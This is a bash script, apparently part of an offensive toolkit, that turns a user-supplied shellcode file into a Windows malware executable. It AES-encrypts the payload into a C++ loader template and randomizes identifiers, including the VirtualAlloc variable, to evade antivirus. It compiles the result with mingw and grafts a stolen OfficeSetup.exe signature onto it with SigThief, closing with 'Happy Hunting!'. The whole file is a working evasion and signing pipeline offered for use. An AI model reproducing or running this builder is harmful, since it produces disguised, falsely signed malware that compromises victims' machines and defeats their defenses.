NativeAPI.sh 4.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ___ _____ _____ _____ _ _
  13. / _ \ | ___/ ___| | ___| | | | |
  14. / /_\ \| |__ \ `--. | |__ _ __ ___ _ __ _ _ _ __ | |_ ___ __| |
  15. | _ || __| `--. \ | __| '_ \ / __| '__| | | | '_ \| __/ _ \/ _` |
  16. | | | || |___/\__/ / | |__| | | | (__| | | |_| | |_) | || __/ (_| |
  17. \_| |_/\____/\____/ \____/_| |_|\___|_| \__, | .__/ \__\___|\__,_|
  18. __/ | |
  19. |___/|_|
  20. _ _ _ _ ___ ______ _____
  21. | \ | | | | (_) / _ \ | ___ \_ _|
  22. | \| | __ _| |_ ___ _____ / /_\ \| |_/ / | | ___
  23. | . ` |/ _` | __| \ \ / / _ \ | _ || __/ | |/ __|
  24. | |\ | (_| | |_| |\ V / __/ | | | || | _| |\__ \
  25. \_| \_/\__,_|\__|_| \_/ \___| \_| |_/\_| \___/___/
  26. EOF
  27. echo -e ${green}"Enter The Path To Your Shellcode File. ex: /home/user/Downloads/shellcode.bin"${clear}
  28. echo ""
  29. read Shellcode
  30. echo ""
  31. echo -e ${green}"Name Your Malware! ex: malware.exe"${clear}
  32. echo ""
  33. read MALWARE
  34. echo ""
  35. cp Harriet/NativeAPI/template.cpp Harriet/NativeAPI/Resources/template.cpp
  36. echo -e ${yellow}"+++Encrypting Payload+++" ${clear}
  37. echo ""
  38. sleep 2
  39. python3 Harriet/NativeAPI/Resources/aesencrypt.py $Shellcode > shell.txt
  40. echo -e ${yellow}"***Encryption Completed***"${clear}
  41. echo ""
  42. cp shell.txt shell2.txt
  43. #Generate AES Key
  44. keys=$(cat "shell2.txt")
  45. cut -d 'p' -f1 shell2.txt > shell3.txt
  46. keys=$(cat shell3.txt)
  47. keysnow=${keys#*=}
  48. sed -i "s/KEYVALUE/$keysnow/g" Harriet/NativeAPI/Resources/template.cpp
  49. #Generate AES Payload
  50. payload=$(cat "shell.txt")
  51. payloadnow=${payload#*;}
  52. payloadtoday=${payloadnow#*=}
  53. echo $payloadtoday > shell5.txt
  54. perl -pe 's/PAYVAL/`cat shell5.txt`/ge' -i Harriet/NativeAPI/Resources/template.cpp
  55. sleep 2
  56. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-8} | head -n 1 > shell.txt
  57. Random1=$(cat shell.txt)
  58. sed -i "s/Random1/$Random1/g" Harriet/NativeAPI/Resources/template.cpp
  59. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-10} | head -n 1 > shell.txt
  60. Random2=$(cat shell.txt)
  61. sed -i "s/Random2/$Random2/g" Harriet/NativeAPI/Resources/template.cpp
  62. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-19} | head -n 1 > shell.txt
  63. Random3=$(cat shell.txt)
  64. sed -i "s/Random3/$Random3/g" Harriet/NativeAPI/Resources/template.cpp
  65. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-16} | head -n 1 > shell.txt
  66. Random4=$(cat shell.txt)
  67. sed -i "s/Random4/$Random4/g" Harriet/NativeAPI/Resources/template.cpp
  68. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-14} | head -n 1 > shell.txt
  69. Random5=$(cat shell.txt)
  70. sed -i "s/Random5/$Random5/g" Harriet/NativeAPI/Resources/template.cpp
  71. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-5} | head -n 1 > shell.txt
  72. Random6=$(cat shell.txt)
  73. sed -i "s/Random6/$Random6/g" Harriet/NativeAPI/Resources/template.cpp
  74. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-4} | head -n 1 > shell.txt
  75. Random7=$(cat shell.txt)
  76. sed -i "s/Random7/$Random7/g" Harriet/NativeAPI/Resources/template.cpp
  77. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-2} | head -n 1 > shell.txt
  78. Random8=$(cat shell.txt)
  79. sed -i "s/Random8/$Random8/g" Harriet/NativeAPI/Resources/template.cpp
  80. #VIRTUALALLOC VARIABLE NAME
  81. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  82. Random9=$(cat shell.txt)
  83. sed -i "s/Random9/$Random9/g" Harriet/NativeAPI/Resources/template.cpp
  84. echo -e ${yellow}"+++Compiling Malware+++"${clear}
  85. x86_64-w64-mingw32-g++ -o $MALWARE Harriet/NativeAPI/Resources/template.cpp -fpermissive -Wno-narrowing -O2>/dev/null 2>&1
  86. echo ""
  87. sleep 2
  88. rm shell*
  89. echo -e ${yellow}"***Malware Compiled***"${clear}
  90. echo ""
  91. sleep 2
  92. echo -e ${yellow}"+++Adding Binary Signature+++"${clear}
  93. echo ""
  94. sleep 2
  95. python3 Harriet/Resources/SigThief/sigthief.py -i Harriet/Resources/OfficeSetup.exe -t $MALWARE -o signed$MALWARE >/dev/null 2>&1
  96. mv signed$MALWARE $MALWARE
  97. echo -e ${yellow}"***Signature Added. Happy Hunting!**"${clear}
  98. echo ""